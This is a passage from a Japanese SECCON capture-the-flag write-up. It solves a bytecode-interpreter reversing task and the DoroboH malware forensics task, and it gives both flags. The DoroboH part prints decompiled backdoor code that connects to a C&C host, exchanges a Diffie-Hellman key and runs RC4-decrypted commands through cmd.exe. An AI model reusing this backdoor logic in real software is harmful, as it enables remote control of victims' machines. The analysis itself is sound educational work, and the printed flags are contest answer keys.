でID 7というローカル変数に格納している。これを9回繰り返す。全部終わったら bb.6
にジャンプする。
5 31 OP_BC_COPY [34 /174/ 4] cp 1 -> 26 5 32 OP_BC_SHL [8 / 44/ 4] 27 = 26 << 125 5 33 OP_BC_ASHR [10 / 54/ 4] 28 = 27 >> 126 5 34 OP_BC_TRUNC [14 / 73/ 3] 29 = 28 trunc ffffffffffffffff 5 35 OP_BC_GEPZ [36 /184/ 4] 30 = gepz p.4 + (127) 5 36 OP_BC_GEP1 [35 /179/ 4] 31 = gep1 p.30 + (29 * 65) 5 37 OP_BC_LOAD [39 /198/ 3] load 32 <- p.31 5 38 OP_BC_CALL_DIRECT [32 /163/ 3] 33 = call F.2 (32) 5 39 OP_BC_SHL [8 / 44/ 4] 34 = 26 << 128 5 40 OP_BC_ASHR [10 / 54/ 4] 35 = 34 >> 129 5 41 OP_BC_TRUNC [14 / 73/ 3] 36 = 35 trunc ffffffffffffffff 5 42 OP_BC_MUL [3 / 18/ 0] 37 = 130 * 131 5 43 OP_BC_GEP1 [35 /179/ 4] 38 = gep1 p.7 + (37 * 65) 5 44 OP_BC_MUL [3 / 18/ 0] 39 = 132 * 36 5 45 OP_BC_GEP1 [35 /179/ 4] 40 = gep1 p.38 + (39 * 65) 5 46 OP_BC_STORE [38 /193/ 3] store 33 -> p.40 5 47 OP_BC_ADD [1 / 9/ 0] 41 = 26 + 133 5 48 OP_BC_ICMP_ULT [25 /129/ 4] 42 = (41 < 134) 5 49 OP_BC_COPY [34 /174/ 4] cp 41 -> 1 5 50 OP_BC_BRANCH [17 / 85/ 0] br 42 ? bb.5 : bb.6
先程フラグを4バイトずつ F.2
に投げた結果について、ひとつひとつ別の定数と比較している。1個でも違っていれば、ID 0のローカル変数には0が入る。
6 51 OP_BC_LOAD [39 /198/ 3] load 43 <- p.7 6 52 OP_BC_ICMP_EQ [21 /108/ 3] 44 = (43 == 135) 6 53 OP_BC_MUL [3 / 18/ 0] 45 = 136 * 137 6 54 OP_BC_GEP1 [35 /179/ 4] 46 = gep1 p.7 + (45 * 65) 6 55 OP_BC_MUL [3 / 18/ 0] 47 = 138 * 139 6 56 OP_BC_GEP1 [35 /179/ 4] 48 = gep1 p.46 + (47 * 65) 6 57 OP_BC_LOAD [39 /198/ 3] load 49 <- p.48 6 58 OP_BC_ICMP_EQ [21 /108/ 3] 50 = (49 == 140) 6 59 OP_BC_AND [11 / 55/ 0] 51 = 44 & 50 6 60 OP_BC_MUL [3 / 18/ 0] 52 = 141 * 142 6 61 OP_BC_GEP1 [35 /179/ 4] 53 = gep1 p.7 + (52 * 65) 6 62 OP_BC_MUL [3 / 18/ 0] 54 = 143 * 144 6 63 OP_BC_GEP1 [35 /179/ 4] 55 = gep1 p.53 + (54 * 65) 6 64 OP_BC_LOAD [39 /198/ 3] load 56 <- p.55 6 65 OP_BC_ICMP_EQ [21 /108/ 3] 57 = (56 == 145) 6 66 OP_BC_AND [11 / 55/ 0] 58 = 51 & 57 6 67 OP_BC_MUL [3 / 18/ 0] 59 = 146 * 147 6 68 OP_BC_GEP1 [35 /179/ 4] 60 = gep1 p.7 + (59 * 65) 6 69 OP_BC_MUL [3 / 18/ 0] 61 = 148 * 149 6 70 OP_BC_GEP1 [35 /179/ 4] 62 = gep1 p.60 + (61 * 65) 6 71 OP_BC_LOAD [39 /198/ 3] load 63 <- p.62 6 72 OP_BC_ICMP_EQ [21 /108/ 3] 64 = (63 == 150) 6 73 OP_BC_AND [11 / 55/ 0] 65 = 58 & 64 6 74 OP_BC_MUL [3 / 18/ 0] 66 = 151 * 152 6 75 OP_BC_GEP1 [35 /179/ 4] 67 = gep1 p.7 + (66 * 65) 6 76 OP_BC_MUL [3 / 18/ 0] 68 = 153 * 154 6 77 OP_BC_GEP1 [35 /179/ 4] 69 = gep1 p.67 + (68 * 65) 6 78 OP_BC_LOAD [39 /198/ 3] load 70 <- p.69 6 79 OP_BC_ICMP_EQ [21 /108/ 3] 71 = (70 == 155) 6 80 OP_BC_AND [11 / 55/ 0] 72 = 65 & 71 6 81 OP_BC_MUL [3 / 18/ 0] 73 = 156 * 157 6 82 OP_BC_GEP1 [35 /179/ 4] 74 = gep1 p.7 + (73 * 65) 6 83 OP_BC_MUL [3 / 18/ 0] 75 = 158 * 159 6 84 OP_BC_GEP1 [35 /179/ 4] 76 = gep1 p.74 + (75 * 65) 6 85 OP_BC_LOAD [39 /198/ 3] load 77 <- p.76 6 86 OP_BC_ICMP_EQ [21 /108/ 3] 78 = (77 == 160) 6 87 OP_BC_AND [11 / 55/ 0] 79 = 72 & 78 6 88 OP_BC_MUL [3 / 18/ 0] 80 = 161 * 162 6 89 OP_BC_GEP1 [35 /179/ 4] 81 = gep1 p.7 + (80 * 65) 6 90 OP_BC_MUL [3 / 18/ 0] 82 = 163 * 164 6 91 OP_BC_GEP1 [35 /179/ 4] 83 = gep1 p.81 + (82 * 65) 6 92 OP_BC_LOAD [39 /198/ 3] load 84 <- p.83 6 93 OP_BC_ICMP_EQ [21 /108/ 3] 85 = (84 == 165) 6 94 OP_BC_AND [11 / 55/ 0] 86 = 79 & 85 6 95 OP_BC_MUL [3 / 18/ 0] 87 = 166 * 167 6 96 OP_BC_GEP1 [35 /179/ 4] 88 = gep1 p.7 + (87 * 65) 6 97 OP_BC_MUL [3 / 18/ 0] 89 = 168 * 169 6 98 OP_BC_GEP1 [35 /179/ 4] 90 = gep1 p.88 + (89 * 65) 6 99 OP_BC_LOAD [39 /198/ 3] load 91 <- p.90 6 100 OP_BC_ICMP_EQ [21 /108/ 3] 92 = (91 == 170) 6 101 OP_BC_AND [11 / 55/ 0] 93 = 86 & 92 6 102 OP_BC_MUL [3 / 18/ 0] 94 = 171 * 172 6 103 OP_BC_GEP1 [35 /179/ 4] 95 = gep1 p.7 + (94 * 65) 6 104 OP_BC_MUL [3 / 18/ 0] 96 = 173 * 174 6 105 OP_BC_GEP1 [35 /179/ 4] 97 = gep1 p.95 + (96 * 65) 6 106 OP_BC_LOAD [39 /198/ 3] load 98 <- p.97 6 107 OP_BC_ICMP_EQ [21 /108/ 3] 99 = (98 == 175) 6 108 OP_BC_AND [11 / 55/ 0] 100 = 93 & 99 6 109 OP_BC_SEXT [15 / 79/ 4] 101 = 100 sext 1 6 110 OP_BC_COPY [34 /174/ 4] cp 101 -> 0 6 111 OP_BC_JMP [18 / 90/ 0] jmp bb.7
bb.6
で参照されている定数は以下の通り。
31 [135]: 1939767458(0x739e80a2) 36 [140]: 984514723(0x3aae80a3) 41 [145]: 1000662943(0x3ba4e79f) 46 [150]: 2025505267(0x78bac1f3) 51 [155]: 1593426419(0x5ef9c1f3) 56 [160]: 1002040479(0x3bb9ec9f) 61 [165]: 1434878964(0x558683f4) 66 [170]: 1442502036(0x55fad594) 71 [175]: 1824513439(0x6cbfdd9f)
これで、F.2
を読んで、その返り値から元の値を求める処理を書けばよいということがわかった。F.2
を読んでいく…といっても、SHL, LSHR, AND, XORといったビット演算で引数をこねくり回しているだけであまり面白みはない。
found 18 values with 1 arguments and 17 locals VID ID VALUE ------------------------------------------------------------------------ 0 [ 0]: i32 argument 1 [ 1]: alloc i64 2 [ 2]: alloc i64 3 [ 3]: i64 4 [ 4]: i64 5 [ 5]: i32 6 [ 6]: i32 7 [ 7]: i32 8 [ 8]: i32 9 [ 9]: i32 10 [ 10]: i32 11 [ 11]: i32 12 [ 12]: i32 13 [ 13]: i32 14 [ 14]: i32 15 [ 15]: i1 16 [ 16]: i64 17 [ 17]: i64 ------------------------------------------------------------------------ found a total of 8 constants CID ID VALUE ------------------------------------------------------------------------ 0 [ 18]: 0(0x0) 1 [ 19]: 181056448(0xacab3c0) 2 [ 20]: 3(0x3) 3 [ 21]: 255(0xff) 4 [ 22]: 8(0x8) 5 [ 23]: 24(0x18) 6 [ 24]: 1(0x1) 7 [ 25]: 4(0x4) ------------------------------------------------------------------------ found a total of 26 total values ------------------------------------------------------------------------ FUNCTION ID: F.2 -> NUMINSTS 22 BB IDX OPCODE [ID /IID/MOD] INST ------------------------------------------------------------------------ 0 0 OP_BC_COPY [34 /174/ 4] cp 18 -> 2 0 1 OP_BC_COPY [34 /174/ 4] cp 19 -> 1 0 2 OP_BC_JMP [18 / 90/ 0] jmp bb.1 1 3 OP_BC_COPY [34 /174/ 4] cp 1 -> 3 1 4 OP_BC_COPY [34 /174/ 4] cp 2 -> 4 1 5 OP_BC_TRUNC [14 / 73/ 3] 5 = 3 trunc ffffffffffffffff 1 6 OP_BC_TRUNC [14 / 73/ 3] 6 = 4 trunc ffffffffffffffff 1 7 OP_BC_SHL [8 / 43/ 3] 7 = 6 << 20 1 8 OP_BC_LSHR [9 / 48/ 3] 8 = 0 >> 7 1 9 OP_BC_AND [11 / 58/ 3] 9 = 8 & 21 1 10 OP_BC_XOR [13 / 68/ 3] 10 = 9 ^ 5 1 11 OP_BC_SHL [8 / 43/ 3] 11 = 10 << 22 1 12 OP_BC_LSHR [9 / 48/ 3] 12 = 5 >> 23 1 13 OP_BC_OR [12 / 63/ 3] 13 = 11 | 12 1 14 OP_BC_ADD [1 / 8/ 0] 14 = 6 + 24 1 15 OP_BC_ICMP_EQ [21 /108/ 3] 15 = (14 == 25) 1 16 OP_BC_SEXT [15 / 79/ 4] 16 = 14 sext 20 1 17 OP_BC_SEXT [15 / 79/ 4] 17 = 13 sext 20 1 18 OP_BC_COPY [34 /174/ 4] cp 16 -> 2 1 19 OP_BC_COPY [34 /174/ 4] cp 17 -> 1 1 20 OP_BC_BRANCH [17 / 85/ 0] br 15 ? bb.2 : bb.1 2 21 OP_BC_RET [19 / 98/ 3] ret 13 ------------------------------------------------------------------------
解く
F.2
の返り値から元の値を求める処理を書く。Z3を使ってもいいけれども、Pythonで F.2
を書き直すのがちょっと面倒だった。なので、Cで F.2
を書き直して、ブルートフォースで探し出すことにする。
#include <stdio.h> unsigned int f2(unsigned int v0) { unsigned int v2 = 0; unsigned int v1 = 0xacab3c0; unsigned int v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17; do { v3 = v1; v4 = v2; v5 = v3; v6 = v4; v7 = v6 << 3; v8 = v0 >> v7; v9 = v8 & 0xff; v10 = v9 ^ v5; v11 = v10 << 8; v12 = v5 >> 24; v13 = v11 | v12; v14 = v6 + 1; v2 = v14; v1 = v13; } while (v14 != 4); return v13; } unsigned int crack(unsigned int t) { unsigned int x; for (int a = 0x20; a < 0x7d; a++) { for (int b = 0x20; b < 0x7d; b++) { for (int c = 0x20; c < 0x7d; c++) { for (int d = 0x20; d < 0x7d; d++) { x = a | (b << 8) | (c << 16) | (d << 24); if (f2(x) == t) return x; } } } } } int main() { unsigned int s[9] = { 0x739e80a2, 0x3aae80a3, 0x3ba4e79f, 0x78bac1f3, 0x5ef9c1f3, 0x3bb9ec9f, 0x558683f4, 0x55fad594, 0x6cbfdd9f }; unsigned int t[10] = {0}; int i; for (i = 0; i < 9; i++) { t[i] = crack(s[i]); printf("%s\n", (char *) t); } printf("SECCON{%s}\n", (char *) t); return 0; }
実行する。
$ gcc -o a a.c; ./a byT3 byT3c0d3 byT3c0d3_1nT byT3c0d3_1nT3rpr byT3c0d3_1nT3rpr3T3r byT3c0d3_1nT3rpr3T3r_1s_ byT3c0d3_1nT3rpr3T3r_1s_4_L0 byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}
フラグが得られた。
SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun}
このwriteupでは真面目にバイトコードを全部読んだけれども、実は本番では終了時刻が迫っていたのもあって、あまり真面目に読んでいなかった。F.1
に怪しげな定数がいっぱいあること、その定数が bb.6
で参照されていること、F.2
がなにか怪しげな変換をしていることを確認していた。Cのコードに直して、ブルートフォースでいくつか怪しげな定数の元の値を特定しようとしたところ、ちゃんと文章として読める文字列が出てきたので、最後に書いたCコードのようにちゃんとしたソルバを書いてフラグを得ていた。
(本番では解けず) [Reversing 179] DoroboH (27 solves)
I found a suspicious process named "araiguma.exe" running on my computer. Before removing it, I captured my network and dumped the process memory. Could you investigate what the malware is doing?
添付ファイル: doroboh.tar.gz
The program is a malware. Do not run it unless you understand its behavior.
添付ファイルを展開すると、README.txt
, araiguma.exe.bin
, network.pcap
, araiguma.DMP
の4つのファイルが出てくる。まず README.txt
を読んでみると、以下のように出てきたファイルの解説が書かれていた。araiguma.exe.bin
はPEファイルで、これを実行している最中に発生したパケットをキャプチャしたのが network.pcap
、そして araiguma.exe.bin
のメモリダンプが araiguma.DMP
らしい。
The following diagram discribes what each file is. Do not run araiguma.exe unless you fully understand the logic. +-- Victim Machine --+ +-- Attacker Machine --+ | +--------------+ | | +-------------+ | | | araiguma.exe |<------------->| kitsune.exe | | | +--------------+ | ^ | +-------------+ | | ^ | | | | +--------|-----------+ | +----------------------+ | | Memory | | Packet Dump | | Capture | | [ araiguma.DMP ] [ network.pcapng ]
IDA Freewareで araiguma.exe.bin
をデコンパイルする。main
関数が本体っぽく、ここで CryptGenKey
やら CryptSetKeyParam
やらCryptoAPIを呼び出している。0xAA02u
だの 0xBu
だのよくわからないマジックナンバーが多いので、"Use standard symbolic constant" やGoogleを活用しつつ元の定数を特定する。
出来上がったのがこちら。やっていることは単純で、C&Cサーバと思われる 192.168.3.6:8080
とDiffie-Hellman鍵共有で共通鍵を共有した後に、RC4で暗号化された命令を受け取り、それを cmd.exe
に渡して実行しているという感じ。p
, g
は固定値で、バイナリにハードコーディングされている。クライアントが生成する秘密の値である x
は、CryptSetKeyParam(phKey, KP_X, 0i64, 0)
からわかるようにランダムに生成されている。共通鍵の長さは64バイトだ。
int __cdecl main(int argc, const char **argv, const char **envp) { DWORD dwBytes; // [rsp+38h] [rbp-48h] BYREF int dwBytes_4; // [rsp+3Ch] [rbp-44h] BYREF struct sockaddr name; // [rsp+40h] [rbp-40h] BYREF struct WSAData WSAData; // [rsp+50h] [rbp-30h] BYREF char buf[4]; // [rsp+1F0h] [rbp+170h] BYREF DWORD pdwDataLen; // [rsp+1F4h] [rbp+174h] BYREF HCRYPTKEY hKey; // [rsp+1F8h] [rbp+178h] BYREF HCRYPTKEY phKey; // [rsp+200h] [rbp+180h] BYREF HCRYPTPROV hProv; // [rsp+208h] [rbp+188h] BYREF BYTE v13[4]; // [rsp+210h] [rbp+190h] BYREF void *v14; // [rsp+218h] [rbp+198h] BYTE pbData[4]; // [rsp+220h] [rbp+1A0h] BYREF void *v16; // [rsp+228h] [rbp+1A8h] LPCSTR lpParameters; // [rsp+238h] [rbp+1B8h] BYTE *v18; // [rsp+240h] [rbp+1C0h] SOCKET s; // [rsp+248h] [rbp+1C8h] BYTE *v20; // [rsp+250h] [rbp+1D0h] HANDLE hHeap; // [rsp+258h] [rbp+1D8h] _main(); *(_DWORD *)pbData = 64; v16 = &g_P; *(_DWORD *)v13 = 64; v14 = &g_G; hHeap = GetProcessHeap(); if ( !hHeap ) return 1; if ( !(unsigned int)CryptAcquireContext( &hProv, 0i64, MS_ENH_DSS_DH_PROV, PROV_DSS_DH, CRYPT_VERIFYCONTEXT) ) return 1; if ( CryptGenKey(hProv, CALG_DH_EPHEM, ((64 * 8) << 16) | CRYPT_EXPORTABLE | CRYPT_PREGEN, &phKey) && CryptSetKeyParam(phKey, KP_P, pbData, 0) && CryptSetKeyParam(phKey, KP_G, v13, 0) && CryptSetKeyParam(phKey, KP_X, 0i64, 0) ) { if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, 0i64, &pdwDataLen) ) { v20 = (BYTE *)HeapAlloc(hHeap, 0, pdwDataLen); if ( v20 ) { if ( CryptExportKey(phKey, 0i64, PUBLICKEYBLOB, 0, v20, &pdwDataLen) ) { WSAStartup(2u, &WSAData); s = socket(2, 1, 0); name.sa_family = 2; *(_WORD *)name.sa_data = htons(8080u); inet_pton(2, "192.168.3.6", &name.sa_data[2]); if ( !connect(s, &name, 16) ) { send(s, (const char *)&pdwDataLen, 4, 0); send(s, (const char *)v20, pdwDataLen, 0); recv(s, buf, 4, 0); v18 = (BYTE *)HeapAlloc(hHeap, 0, *(unsigned int *)buf); if ( v18 ) { recv(s, (char *)v18, *(int *)buf, 0); if ( CryptImportKey(hProv, v18, *(DWORD *)buf, phKey, 0, &hKey) ) { dwBytes_4 = CALG_RC4; if ( CryptSetKeyParam(hKey, KP_ALGID, (const BYTE *)&dwBytes_4, 0) ) { memset(v18, 0, *(unsigned int *)buf); while ( recv(s, (char *)&dwBytes, 4, 0) == 4 ) { lpParameters = (LPCSTR)HeapAlloc(hHeap, 0, dwBytes); if ( !lpParameters ) break; recv(s, (char *)lpParameters, dwBytes, 0); if ( !CryptDecrypt(hKey, 0i64, 1, 0, (BYTE *)lpParameters, &dwBytes) ) { HeapFree(hHeap, 0, (LPVOID)lpParameters); break; } ShellExecuteA(0i64, "open", "cmd.exe", lpParameters, 0i64, 0); memset((void *)lpParameters, 0, dwBytes); HeapFree(hHeap, 0, (LPVOID)lpParameters); } } } HeapFree(hHeap, 0, v18); } closesocket(s); } WSACleanup(); } HeapFree(hHeap, 0, v20); } } CryptDestroyKey(phKey); } CryptReleaseContext(hProv, 0); return 0; }
そういうわけで、Wiresharkで network.pcap
を開いて ip.addr==192.168.3.6
というフィルターを適用すると、この通信が出てくる。赤色が 192.168.3.6
に送っているパケット、青色が 192.168.3.6
から受け取っているパケットだ。サイズとデータの順番で送ることを繰り返している。上の2つのデータがDH鍵共有の過程で、それぞれ g^(クライアントが生成したランダムな整数) mod p
と g^(サーバが生成したランダムな整数) mod p
を含んでいる。デコンパイル後のCのコードを読めばわかるように、これは PUBLICKEYBLOB
だ。残りの2つは、これで共有した鍵を使って暗号化されたデータ(実行されたOSコマンド)だ。
メモリダンプにクライアントが生成したランダムな整数が含まれていないか。バイナリにハードコーディングされていた p
, g
を手がかりに探してみたが見つからず、本番ではここで競技が終了した。
keymoonさんとの情報共有に使っていたDiscordチャンネルで、こういうことを言っていた。やってみよう。
araiguma.DMP
から、1バイトずつずらしつつ64バイトずつ取ってクライアントが生成したランダムな整数として扱い、もし pow(G, (試す64バイトの値), P) == Y
が成り立っていれば、それが正解ということになる。
import binascii import re from scipy.stats import entropy def convert(x): return int(''.join(re.findall(r'.{2}', x)[::-1]), 16) P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF') G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C') Y = convert('46A717B1D54537E862F6BA6F809AED0021AFC44B8C95C9BEC809518F10001CC96489AD8914E1D4E008AA60BE8FE36F9B156E358940BBC1AA709098D93957E637') # G^X mod P with open('araiguma.DMP', 'rb') as f: s = f.read() i = -1 while True: i += 1 x = binascii.hexlify(s[i:i+64]).decode() x = convert(x) if entropy(list(s[i:i+64]), base=2) < 5: continue if pow(G, x, P) == Y: print(i, x) break
実行するとうまくいった。
$ python3 s.py /usr/lib/python3/dist-packages/scipy/stats/_distn_infrastructure.py:2614: RuntimeWarning: invalid value encountered in true_divide pk = 1.0*pk / np.sum(pk, axis=0) 427985 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914
network.pcap
から g^(サーバが生成したランダムな整数) mod p
と暗号化されたデータを取ってきて復号するスクリプトを書く。
import binascii import re from Crypto.Cipher import ARC4 def convert(x): return int(''.join(re.findall(r'.{2}', x)[::-1]), 16) P = convert('EDA1539BD82605033A885229F87754CF1DAB603AB9B01FE3A3694E84B62F02201FE16E25CDBB74563205026A8F7B9A89805271EEF8A64B91B1350376C1CE21CF') G = convert('14CF6B2FCAE951A6FD4DABEA9229BBB83FB456541B8E7CE71E6850024B447BA313C88369C01ADE06116D0DAB930FAEFB961777869B7DCD72CE1F80364906797C') Y = convert('288f76749ec20b9ab18c618418ae9a70722618dc685e667fc0c19b906a6aa3a571f473ea0eaada269f29860d55ddcba0367ee6f7a1fac83d2d7395482930b3b8') X = 2344618307122276117526105644791537353238896527977093611129867424699078521987904923121325275715002035014589922916061279366844456994221929836397943446215914 K = pow(Y, X, P) k = binascii.unhexlify(hex(K)[2:]) k = k[::-1][:16] s = binascii.unhexlify(b'8c28c20d027aa8bc9a71b107022421e907340de0f9a4c540611f2d95b560f8435fdb44ecb38876ddab1fe3ffcaf26aeb65b7f7f4d1d0bc6ceec521c77c27cd0ffba4a9d007228c478288b906b64d832be9822e123ec4a5abbc155a24b63a8c657c05ff6148124f') print(ARC4.new(k).decrypt(s)) t = binascii.unhexlify(b'8c28c20d027aa8bc9a6bd436240c1df73e2714bfabaefb7d340635df9174e24719dd3bcce89572ddad49ac8c93f122aa61ada3f3cb8aa1288bab33957169fd04c482a797556ff067ccb2b031b64c9b03e586142015d5bfa6a1194b0cb939832c2609f3184f18') print(ARC4.new(k).decrypt(t))
実行する。
$ python3 t.py b'/C echo "SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}" > C:\\Users\\ctf\\Desktop\\flag.txt\r\n\x00' b'/C echo "I regret to say that your computer is pwned... :(" > C:\\Users\\ctf\\Desktop\\notification.txt\r\n\x00'
フラグが得られた。
SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}